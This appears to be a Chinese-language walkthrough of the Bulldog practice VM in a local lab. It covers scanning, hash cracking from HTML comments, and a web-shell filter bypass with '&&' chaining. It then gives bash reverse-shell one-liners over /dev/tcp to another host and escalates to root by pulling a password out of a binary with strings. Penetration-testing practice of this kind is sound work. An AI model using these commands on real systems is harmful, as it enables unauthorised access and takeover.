0x00 环境搭建
(1)设为nat模式 和kali同网段
(2)如果设为nat, kali扫不出靶机ip 这样尝试
【1】重新启动 靶机 到开机页面 选择第二个ubuntu的高级选项。
【2】继续选择第二个选项
【3】 选择root 按回车 回车 进入命令行模式 【4】 mount -o rw,remount / 【5】ifconfig -a 显示所有网卡的信息,包含未up的 【6】 vim /etc/network/interfaces 修改 网卡名称 【7】 都改为 ens33 【8】 reboot 【9】 去kali 扫描 网段测试
如果有问题 多试试 一开始 改了 还是没反应 尝试了好几次 还是不行, 之后删掉靶机文件,重新 导入了靶机 再次修改 ip出现。
0x01 信息收集
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-30 16:34 CST
Nmap scan report for 192.168.157.161
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
| 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 00:0C:29:27:6E:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.42 ms 192.168.157.161
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.66 seconds
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; proto
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
OS details: Linux 3.2 - 4.9
0x02 漏洞挖掘
web漏洞思路
(1) 爆破目录 看各个网页功能 及源码 找漏洞 (2) 看是否存在cms等框架漏洞,存在直接利用。 不存在开bp 手动找,也可开awvs appscan xray扫描。
ssh 利用思路
(1)用九头蛇跑弱口令,在有用户名的情况下,需要看字典还有是否存在弱口令啦。 (2)从web中获得的账号密码,也可进行尝试,很有可能也是ssh密码。
步骤1:浏览网页 爆破目录
(1) kali 和win10 两款工具爆破 /robots.txt /admin/login/ 登录框 /dev (2)浏览主页 点击各个点 只点到 一个 /notice/ 没有利用点 (3) 看看爆破出来的页面 /admin/login/ 页面 是一个Django 框架做的登录框 /robots.txt 没用 /dev 内容过多 有用信息有 点击 Web-Shell 跳转到 http://192.168.157.161/dev/shell/ 需要认证才能使用 审查 /dev 源码 发现 存在网页开发人员测试时留下的有用信息 密码的哈希 尝试 解密登录
<!--Need these password hashes for testing. Django's default is too complex-->
<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->
步骤二: 破解hash
最后 在线解密后 就得出 最后两个 密码
邮箱 nick@bulldogindustries.com 密码 bulldog (cmd5)
邮箱 sarah@bulldogindustries.com 密码 bulldoglover (somd5)
步骤三:利用密码登录后台
(1)以邮箱@前当做用户名 密码登录后 都显示没有操作权限。 (2) ssh登录 23 都失败 (3)想到刚才需要认证的web-shell 访问试试 认证成功 是一个命令执行的界面
步骤四:利用命令执行(需要尝试绕过方法)
测试后 很多命令都会被网页拦截 想办法绕过 测试出 可以利用 (允许执行的) &&(不允许执行的) 拼接命令绕过
比如 id 不被执行 ls && id id执行成
步骤五:反弹shell
(1)
ls && bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/8080 <&1'
(2) 也可以 直接利用echo 可执行 反弹shell
echo "bash -i >& /dev/tcp/192.168.157.137/8080 0>&1" | bash
先试用echo 输出命令,在输入到 bash中。
两种方法均可以反弹成功
0x03 提升权限
步骤六:查看系统用户,确定需要关注的用户
/bin/bash 的有 django 和 bulldogadmin 两个用户
步骤七:查找每个用户的文件
(1) 先看 bulldogadmin
find / -user bulldogadmin 2>/dev/null
只显示非错误的 ( 2>/dev/null 表示 将标准错误 重定向到 /dev/null 即linux设备的空文件中 俗称黑洞)
(2)发现 一个隐藏目录 中存在两个文件
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp /home/bulldogadmin/.hiddenadmindirectory/note
(3)note文件应该是文本文件 直接cat 打印输出
cat /home/bulldogadmin/.hiddenadmindirectory/note
(4)App 看起来像是执行文件 strings 打印一下其中可打印的文件字符看看
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
步骤八:拼接root密码提权
SUPERultH imatePASH SWORDyouH CANTget
去掉H
SUPERultimatePASSWORDyouCANTget
可能是密码
su
报错 must be run from a terminal 必须从一个终端运行
用以下命令 将shell转换成完全交互的tty终端模式
python -c 'import pty; pty.spawn("/bin/bash")'
再次
su
报错su: Authentication failure
需要
sudo su
SUPERultimatePASSWORDyouCANTget
cd ..
cat congrats.txt
0x04 思路总结
1.利用目录爆破 从爆破出的/dev页面内容中找到一处webshell 页面,源码中 查看到 认证需要的 账号密码。 2.利用webshell页面 可以执行操作系统命令,直接bash反弹 被禁止 。想办法绕过 echo 先输出命令 | 在输入到 bash中 或者 ls&&id 绕过。 3.获取到shell后 翻文件 看有没有密码等线索。 4.su 命令报错 must be run from a teriminal 必须从一个终端上运行时 python 环境可以 python -c ‘import pty;pty.spawn("/bin/bash")’ 将shell转换为终端(tty)模式。
|